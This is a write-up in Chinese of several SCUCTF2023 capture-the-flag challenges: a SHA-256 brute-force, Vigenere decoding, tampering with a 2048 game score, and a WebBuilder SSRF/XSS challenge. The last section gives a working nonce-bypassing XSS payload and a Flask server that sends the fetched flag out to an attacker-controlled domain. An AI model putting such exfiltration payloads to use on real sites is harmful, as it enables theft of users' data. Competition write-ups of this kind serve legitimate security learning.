安全安全SCUCTF2023
Johnny我就做一上午的时间,做了几个会的~
SimpleHash
使用sha256单向散列,直接暴力破解,也没啥说的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import hashlib
given_hashes = [ "8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643", "6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d", "a25513c7e0f6eaa80a3337ee18081b9e2ed09e00af8531c8f7bb2542764027e7", "6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d", "e632b7095b0bf32c260fa4c539e9fd7b852d0de454e9be26f24d0d6f91d069d3", "f67ab10ad4e4c53121b6a5fe4da9c10ddee905b978d3788d2723d7bfacbe28a9", "021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96", "c4694f2e93d5c4e7d51f9c5deb75e6cc8be5e1114178c6a45b6fc2c566a0aa8c", "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb", "454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1", "de7d1b721a1e0632b7cf04edf5032c8ecffa9f9a08492152b926f1a5a7e765d7", "62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a", "5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9", "1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9", "5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9", "cd0aa9856147b6c5b4ff2b7dfee5da20aa38253099ef1b4a64aced233c9afe29", "ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb", "4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a", "ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb", "454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1", "6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b", "bb7208bc9b5d7c04f1236a82a0093a5e33f40423d5ba8d4266f7092c3ba43b62", "d10b36aa74a59bcf4a88185837f658afaf3646eff2bb16c3928d0e9335e945d2" ]
def find_original_char_for_hash(target_hash): for i in range(256): char = chr(i) char_hash = hashlib.sha256(char.encode()).hexdigest() if char_hash == target_hash: return char return None
original_chars = [find_original_char_for_hash(h) for h in given_hashes]
print(''.join(original_chars))
|
Vigenere
把得到的文本直接解码就行

2048
完成游戏之后抓包,发现有两个不可控的元素,一个是secret,一个是encrypted,盲猜是密钥和密文

具体加密过程直接查看网页源码,发现引入了sm3.js和sm4.js,那就是这两个算法,具体的操作继续找js文件,在js中找到如下函数

然后为了方便,直接在控制台调用这两个函数,使用他们的加密逻辑找到999999对应的密文,替换就好


Guideline
EnjoyTheCryptography
WebBuilder
首先看到页面中的提示,大概流程就是:验证你后端的几个接口(考察你开发) ==> 通过SSRF和XSS获得到flag大概就是这些流程。有几个注意的点
因为
以下是第一步的后端代码,为了方便就直接使用的Flask,说实话还是不太熟练,SpringBoot是最好的Web框架!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| @app.route('/test') def hello_world(): name = request.args.get('name') length = len(name) response_data = {'len': length,'code':200}
return jsonify(response_data)
@app.route('/redirect') def redirect(): referer = request.headers.get('Referer') root_url = request.root_url print(root_url) print(referer) if referer == "http://evil/": response = make_response('this is forbidden', 404) else: response = make_response('Location header set.', 302) response.headers['location'] = referer + "success" return response
@app.route('/js') def redirectjs(): pass
@app.route('/getFlag') def flag(): pass
if __name__ == '__main__': app.run(host='0.0.0.0',port=6379)
|
然后我们注意到这两个地方


逻辑就是把你服务器的响应放到一个map里,当你访问js这个接口之后,取出来,并返回到前端页面中,但是这里缺少转义,存在XSS漏洞。
所以我们就构造xss的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <script nonce="XssFun"> fetch('/flag') .then(response => response.text()) .then(text => fetch('http://own domain/getFlag?flag=' + text)) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.text(); }) .then(finalResponse => { console.log('Response from the second server:', finalResponse); }) .catch(error => console.error('Error:', error)); </script>
|
在我们自己的后端直接取出url的flag就行
所以完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from flask import Flask, make_response, request, jsonify, url_for,Response
app = Flask(__name__)
@app.route('/test') def hello_world(): name = request.args.get('name') length = len(name) response_data = {'len': length,'code':200}
return jsonify(response_data)
@app.route('/redirect') def redirect(): referer = request.headers.get('Referer') root_url = request.root_url print(root_url) print(referer) if referer == "http://evil/": response = make_response('this is forbidden', 404) else: response = make_response('Location header set.', 302) response.headers['location'] = referer + "success" return response
@app.route('/js') def redirectjs(): return "<script nonce=\"XssFun\">fetch('/flag').then(response => response.text()).then(text => fetch('http://own domain/getFlag?flag='+text)).then(response => {if (!response.ok) {throw new Error('Network response was not ok');} return response.text();}).then(finalResponse => {console.log('Response from the second server:', finalResponse);}).catch(error => console.error('Error:', error));</script>"
@app.route('/getFlag') def flag(): data = request.args.get("flag") print(data) return "success"
if __name__ == '__main__': app.run(host='0.0.0.0',port=6379)
|
然后先验证我们的接口,拿到我们的uuid

访问http://赛题url/report?uuid=eb694833-1f7a-4251-a1ec-757de587f3a7
,查看后端的日志就可以得到flag

